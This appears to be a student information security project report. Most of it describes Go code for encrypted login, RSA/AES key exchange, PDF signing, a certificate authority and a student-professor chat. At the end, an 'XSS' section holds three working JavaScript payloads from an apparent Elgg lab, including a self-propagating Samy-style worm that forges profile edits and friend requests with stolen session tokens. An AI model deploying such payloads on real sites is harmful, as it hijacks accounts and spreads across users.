ISS Project

january 2, 2024

محمود مشلح عبدالله المقداد

رغد خليفة حكم جبين

مجد الخضر

م.عبيدة حسن

The first and second questions have been addressed within the login and account creation process. A suitable structure for the system has been designed, and information completion is encrypted based on a pre-agreed-upon key.

I added a feature for a chat program between the student and the professor, where the conversations between them are encrypted and key exchange takes place

I have designed a database that suits the project requirements.

Professor Code Explanation

Introduction

This document provides an in-depth explanation of the professor's code in the information security project. The professor's code is responsible for establishing a secure communication channel with the server and handling various cryptographic operations, such as key exchange, encryption, and certificate handling.

Key Components

1. Connection Establishment

The code begins by establishing a connection with the server using TCP. It prompts the professor to enter a username and password, sending this information to the server for authentication.

2. Menu Options

Upon successful authentication, the professor is presented with a menu of options:

- Chat
- Question 3
- Question 4
- Question 5

The professor can choose an option by entering the corresponding number.

3. Question 5 Handling

3.1 Sending Certificate

The professor's code sends the client certificate ("client_certificate.pem") to the server.

3.2 Certificate Transmission

The certificate is transmitted over the network, and the server receives and processes it.

4. Question 4 Handling

4.1 Key Pair Generation

The code generates a key pair for the client and encodes the public key to be sent to the server.

4.2 Server Public Key Exchange

The server's public key is received from the server, decoded, and used to establish a secure session key.

4.3 File Signing and Encryption

The professor's code generates an RSA key pair for signing and signs a PDF file ("example.pdf"). The signed PDF is then encrypted using the established session key and sent to the server.

5. Question 3 Handling

5.1 Key Pair Generation

Similar to Question 4, the code generates a key pair for the client and sends the public key to the server.

5.2 Server Public Key Exchange

The server's public key is received and used to establish a secure session key.

5.3 Message Encryption

The professor can exchange encrypted messages with the server, ensuring confidentiality.

Additional Functions

The code includes additional functions for file handling, listing PDF files in the working directory, and sending files to the server.

Conclusion

This document provides a comprehensive overview of the professor's code, highlighting key components and their functionalities. The implemented cryptographic operations contribute to the overall security of the communication between the professor and the server.

Below is an outline of the signature and the purpose of each function in the provided professor's code:

1. `readFromConnection(conn net.Conn) ([]byte, error)`
    - **Purpose:** Reads data from a network connection.
    - **Signature:** `func readFromConnection(conn net.Conn) ([]byte, error)`
2. `main()`
    - **Purpose:** Main function to execute the professor's code.
    - **Signature:** `func main()`
3. `handleQuetion5P(conn net.Conn)`
    - **Purpose:** Handles Question 5 by sending the client certificate to the server.
    - **Signature:** `func handleQuetion5P(conn net.Conn)`
4. `sendCertificate(conn net.Conn, certificate []byte) error`
    - **Purpose:** Sends a certificate over a network connection.
    - **Signature:** `func sendCertificate(conn net.Conn, certificate []byte) error`
5. `sendLength(conn net.Conn, length int) error`
    - **Purpose:** Sends the length of data over a network connection.
    - **Signature:** `func sendLength(conn net.Conn, length int) error`
6. `handleQuetion4P(conn net.Conn)`
    - **Purpose:** Handles Question 4 by exchanging public keys, creating a session key, signing and encrypting a PDF file, and sending it to the server.
    - **Signature:** `func handleQuetion4P(conn net.Conn)`
7. `PrintAllPdfNamesInMyWorkingDir()`
    - **Purpose:** Prints the names of all PDF files in the current working directory.
    - **Signature:** `func PrintAllPdfNamesInMyWorkingDir()`
8. `SendTheFile(conn net.Conn)`
    - **Purpose:** Sends a file over a network connection.
    - **Signature:** `func SendTheFile(conn net.Conn)`
9. `handleProChat(conn net.Conn)`
    - **Purpose:** Handles the chat functionality between the professor and the server by establishing a secure communication channel.
    - **Signature:** `func handleProChat(conn net.Conn)`

10. `readInput() string`

    - **Purpose:** Reads user input from the console.
    - **Signature:** `func readInput() string`

11. `handleQuetion3P(conn net.Conn)`

    - **Purpose:** Handles Question 3 by exchanging public keys, creating a session key, encrypting and decrypting messages, and sending them to the server.
    - **Signature:** `func handleQuetion3P(conn net.Conn)`

Each function's purpose and signature are described concisely to provide a clear understanding of their roles in the information security project.

Information Security Project - User Code Explanation

Introduction

The provided code represents the user component of an information security project. The project focuses on encryption, certificates, Certificate Authority (CA), and key exchange. The user interacts with a server using a TCP connection and performs various actions like login, signup, and chat.

Project Structure

The user code is organized into several functions to handle different functionalities. Let's break down the main components:

1. Main Function

- Initiates a connection to the server.
- Provides a menu for the user to choose actions: login, signup, chat, or a mini-signup.
- Calls corresponding functions based on user input.

2. Handle Mini Signup

- Allows the user to enter a username and password.
- Sends the data to the server with a special flag indicating a mini-signup.
- Encrypts sensitive information using the Advanced Encryption Standard (AES).

3. Handle Not Complete Signup

- Collects additional information (national number, phone number, home location).
- Encrypts the data using AES and sends it to the server.

4. Handle User Chat

- Enables the user to initiate a chat session with a professor.
- Generates a key pair for the user, sends the public key to the server, and receives the professor's public key.
- Encrypts and decrypts messages using the exchanged keys.
- Provides a continuous loop for sending and receiving encrypted messages.

5. Handle Question 3U

- Similar to the chat function but focuses on Question 3 interactions.
- Establishes a secure communication channel with the server using AES for the session key.
- Encrypts and decrypts messages using the session key.

6. Helper Functions

- Various functions to handle user login, signup, and input reading.

Encryption and Security Measures

- The code utilizes AES for encrypting sensitive user data.
- Public key cryptography is employed for secure key exchange between the user and the server.
- Base64 encoding is used to handle binary data during communication.

Conclusion

This user component is an integral part of the information security project, providing secure communication channels through encryption, key exchange, and the use of digital certificates. The functionalities allow users to perform secure login, signup, and chat operations while maintaining the confidentiality and integrity of their data

1. Imports:

- Importing necessary packages from the standard library and the "awesomeProject1/enc" package for encryption-related functions.

2. Main Function:

- Establishes a connection with the server.
- Displays a menu for the student with options to login, sign up, chat, or perform a mini signup.
- Calls corresponding functions based on the user's choice.

3. `handleMiniSignup(conn net.Conn):`

- Handles a mini signup process, where the user provides a username and password.
- Sends the information to the server.

4. `handleNotCompleteSignup(conn net.Conn):`

- Handles a not complete signup process, where the user provides national_number, phone_number, and home_location.
- Encrypts the data using AES before sending it to the server.

5. `readFromConnection(conn net.Conn) ([]byte, error):`

- Reads data from a network connection.

6. `parse(pubKeyPEM []byte) (*rsa.PublicKey, error):`

- Parses a public key from PEM format.

7. `handleUserChat(conn net.Conn):`

- Handles the chat functionality.
- Asks the student to input the professor's name.
- Generates a client key pair, sends the public key to the server, and receives the professor's public key.
- Sets up a goroutine to read and display messages from the server.
- Encrypts and sends messages to the server.

8. `handleQuetion3U(conn net.Conn):`

- Handles Question 3 for the student.
- Generates a client key pair, sends the public key to the server, and receives the professor's public key.
- Creates a session key, encrypts it with the professor's public key, and sends it to the server.

- Sets up a goroutine to read and display messages from the server.
- Encrypts and sends messages to the server using the session key.

9. `handleUserSignup(conn net.Conn):`

- Handles the user signup process.
- Asks for username, password, national number, home location, and phone number.
- Sends the information to the server.

10. `handleUserLogin(conn net.Conn):`

- Handles the user login process.
- Asks for username and password.
- Sends the information to the server.
- Based on the server's response, either initiates a chat or completes a not complete signup.

11. `readInput1() string:`

- Reads user input from the console.

Information Security Project - server Code Explanation

Package Imports and Initialization: The code begins with the import of necessary packages. It includes packages for database operations, network communication, cryptographic functions, and others. The `main` function initializes a connection to a PostgreSQL database using the "ent" package and starts a TCP server on port 8082.

1. **Connection Handling:** The `handleConnection` function manages incoming client connections. It reads a role from the client (0 for students, other values for professors) and delegates the connection to appropriate handling functions. If the role is 0, it invokes functions to handle student commands; otherwise, it initiates the professor login process.
2. **Student and Professor Login:**
    - **Student Login:** The code checks if a student login is complete by verifying credentials against the database. If incomplete, it proceeds with additional registration steps. Otherwise, it registers the student and provides feedback to the client.
    - **Professor Login:** The code reads professor credentials from the client, checks them against the database, and either allows or denies access. Upon successful login, it provides feedback to the client and initiates further actions based on the professor's role, such as handling chat or specific questions.

3. **Chat Handling:**
    - **Student Chat:** The `handleChat` function manages the initiation and communication of student chat sessions. It creates chat rooms, adds users to rooms, and facilitates communication between users.
    - **Professor Chat:** The `handleProfessorChat` function handles professor chat sessions. It looks for existing chat rooms, adds professors to rooms, and facilitates communication. The professor can initiate specific actions based on their role, such as answering questions (Q3, Q4, Q5).
4. **User Registration and Database Operations:** The code includes functions to handle student signup and incomplete student signup. It performs necessary operations to store user information in the database. Additionally, there are functions to handle professor login and database queries for professors.

Overall, the server code provides a framework for managing connections from students and professors, facilitating user authentication, and handling various interactions such as chat sessions and professor-specific actions. It uses a PostgreSQL database to store user information and leverages the "ent" package for database operations.

`findTheRoom(username string) *ChatRoom`:

- This function searches for a chat room based on a given username.
- It iterates through existing rooms and their client names to find a match.
- If a match is found, it returns the corresponding chat room; otherwise, it returns `nil`.

2. **`handleQuestion3(conn net.Conn, client *ent.Client, userName, password string)`:**
    - Handles a specific type of interaction related to Question 3.
    - Generates a server key pair for encryption and sends the public key to the client.
    - Receives the client's public key, establishes a shared session key, and stores the client's public key in the database.
    - Sets up a goroutine to continuously read and display messages from the client.
    - Allows the user to input messages, encrypts them, and sends them to the client.
3. **`handleQuestion4(conn net.Conn, client *ent.Client, username string)`:**
    - Handles a specific type of interaction related to Question 4.
    - Generates a server key pair for encryption and sends the public key to the client.
    - Receives the client's public key and a signed PDF file from the client.
    - Verifies the signature of the PDF file using the client's public key and a root certificate.
    - Saves the verified PDF file and logs the action.
4. **`readInput() string`:**
    - Reads a line of input from the console and returns it.

5. **`readFromConnection(conn net.Conn) ([]byte, error)`:**
    - Reads data from a network connection and returns the read bytes.
6. **`sendProfessorList(conn net.Conn)`:**
    - Sends a list of available professors to the client.
7. **`handleChat1(conn net.Conn, command string)`:**
    - Handles a chat command from the client, allowing them to choose a professor to chat with.
    - Validates the command and informs the client about their choice.
8. **`handleLogin(conn net.Conn, client *ent.Client)`:**
    - Manages the login process for users.
    - Reads the username and password from the client, checks their validity, and performs login actions.
    - If the user is a student, it checks for incomplete registration and allows continuation.
9. **`receiveCertificate(conn net.Conn) ([]byte, error)`:**
    - Receives a certificate from the client over the network.
10. **`handleQuestion5(conn net.Conn, client *ent.Client, username string)`:**
    - Handles a specific type of interaction related to Question 5.
    - Receives a client certificate, saves it to a file, and performs verification against a root certificate.

These functions collectively contribute to the server's functionality, including handling different types of client-server interactions, managing user sessions, and ensuring secure communication. The code also includes user registration, login, and chat room management functionalities.

Certificate Authority (CA) Code Explanation

Introduction:

This document provides a comprehensive explanation of the Certificate Authority (CA) code, a vital component in ensuring secure communication by generating and managing digital certificates.

Overview:

The CA code establishes a server that actively listens for incoming connections. It is designed to handle the generation of a CA key pair, creation of CA certificates, and management of certificate signing requests (CSRs) from clients. Additionally, the CA code plays a crucial role in verifying CSRs, generating client certificates, and facilitating secure communication.

Math Problem Generation:

Included in the CA code is a function dedicated to generating math problems. This functionality is essential for user verification and involves the creation of random math expressions with calculated answers.

Main Function:

The main function serves as the entry point, setting up a TCP listener and continuously accepting incoming connections. For each connection, a dedicated goroutine is launched to handle client interactions.

Client Handling:

The `handleClient` function takes charge of managing communication with clients. It orchestrates the generation of the CA key pair, creation of CA certificates, transmission of certificates to clients, and proficient handling of client responses.

Communication Protocol:

To maintain a consistent communication protocol between the CA and clients, the code defines functions responsible for sending and receiving data. These functions ensure a seamless exchange of information.

Certificate Handling:

One of the pivotal functionalities of the CA is the generation of client certificates based on received CSRs. This process involves thorough verification of the validity of signatures to ensure the integrity of the generated certificates.

Conclusion:

In conclusion, the CA code is a fundamental component within a secure communication system. Its role in managing digital certificates, verifying requests, and facilitating secure connections underscores its importance in upholding the security of the overall system.

Certificate Authority (CA) Client Code Overview

Overview

The Certificate Authority (CA) client code facilitates the interaction between a user and the CA server to generate and receive certificates. It establishes a secure connection with the CA server, manages user inputs, generates key pairs, and sends/receives certificates and requests.

Functions

1. `main`

- **Description:**
    - Establishes a connection to the CA server.
    - Receives the CA certificate from the server.
    - Prompts the user to enter a username.
    - Sends the username to the server.
    - Generates a client key pair.
    - Creates a client certificate signing request (CSR) and sends it to the CA.
    - Receives the client certificate from the CA.
    - Optionally saves the CA certificate, client private key, and client certificate to files.

2. `receiveCertificate`

- **Description:**
    - Receives a certificate from the CA over the provided network connection.

- Returns the received certificate as a byte slice.

3. `sendCertificateRequest`

- **Description:**
  - Sends a certificate signing request (CSR) to the CA over the provided network connection.
  - Takes the CSR as a byte slice and returns an error if the operation fails.

4. `sendLengthAndData`

- **Description:**
  - Sends the length and associated data over the provided network connection.
  - Takes data as a byte slice and returns an error if the operation fails.

5. `sendLength`

- **Description:**
  - Sends the length of data to be transmitted over the provided network connection.
  - Ensures consistent communication by indicating the length of the following data.
  - Returns an error if the operation fails.

6. `readInput1`

- **Description:**
  - Reads user input from the console.
  - Returns the entered string.

Usage

1. Run the CA client code to initiate the interaction with the CA server.
2. Follow the prompts to enter a username and provide necessary information.
3. The CA client generates a key pair and creates a certificate signing request.
4. The CSR is sent to the CA for verification.
5. Upon successful verification, the CA sends back the client certificate.
6. Optionally, save the generated certificates and private key for future use.

Conclusion

The CA client code enables secure communication with the CA server, facilitating the generation and reception of certificates. Users can interact with the CA to establish a secure identity within the system.

Encryption Package Documentation

1. AES Encryption and Decryption

GetAESDecrypted

Decrypts the given text using AES 256 CBC.

GetAESDecrypted1

Decrypts the given byte slice using AES 256 CBC.

PKCS5UnPadding

Pads a blob of data with necessary information to be used in AES block cipher.

GetAESEncrypted

Encrypts the given text using AES 256 CBC.

GetAESEncrypted1

Encrypts the given byte slice using AES 256 CBC.

2. RSA Encryption and Decryption

CreateKeys

Generates RSA private and public keys.

GenerateKeyPair

Generates an RSA key pair.

EncodePublicKey

Encodes an RSA public key.

DecodePublicKey

Decodes an RSA public key.

Encrypt

Encrypts data using RSA public key.

Decrypt

Decrypts data using RSA private key.

CreateSessionKey

Generates a random session key.

3. Signature Generation and Verification

signMessage

Signs a message using an RSA private key.

verifySignature

Verifies a signature using an RSA public key.

XSS

```
<script>
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
1
var token="&__elgg_token="+elgg.security.token.__elgg_token; 2
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47"+ts+token
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
```

```
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var desc = "&description=Samy is my hero" + " &accesslevel[description]=2"
```

```
var name="&name="+userName
var sendurl="http://www.xsslabelgg.com/action/profile/edit";
var content=token+ts+name+desc+guid;
var samyGuid=47
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
```

```
<script type="text/javascript" id="worm">
window.onload = function(){
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var desc = "&description=Samy is my hero" + wormCode;
```

```
desc += " &accesslevel[description]=2";
var name="&name="+userName
var sendurl="http://www.xsslabelgg.com/action/profile/edit";
var content=token+ts+name+desc+guid;
var samyGuid=47
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
```